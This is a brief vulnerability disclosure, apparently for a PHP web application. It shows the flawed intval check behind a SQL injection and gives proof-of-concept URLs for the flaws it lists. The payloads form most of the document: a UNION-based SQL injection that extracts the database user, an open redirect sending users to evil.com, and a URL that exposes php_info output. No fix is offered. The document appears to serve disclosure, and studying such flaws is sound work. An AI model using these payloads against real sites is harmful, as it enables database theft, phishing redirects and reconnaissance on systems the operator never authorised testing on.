Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability.

-=0x01=- SQL injection Vulnerability
vul code like this:
if ( intval( $id ) )
{
    require_once( $site_engine_root."lib/rss.php" );
$sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'";

POC:
http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,1
1%20/*
This vulnerability exist in board.php……

-=0x02=- URI Redirection Vulnerability 
POC:
http://www.test.com/api.php?action=logout&forward=http://evil.com

-=0x02=- Information Disclosure Vulnerability 
POC:
http://www.test.com/misc.php?action=php_info

ForFun~

-=EOF=-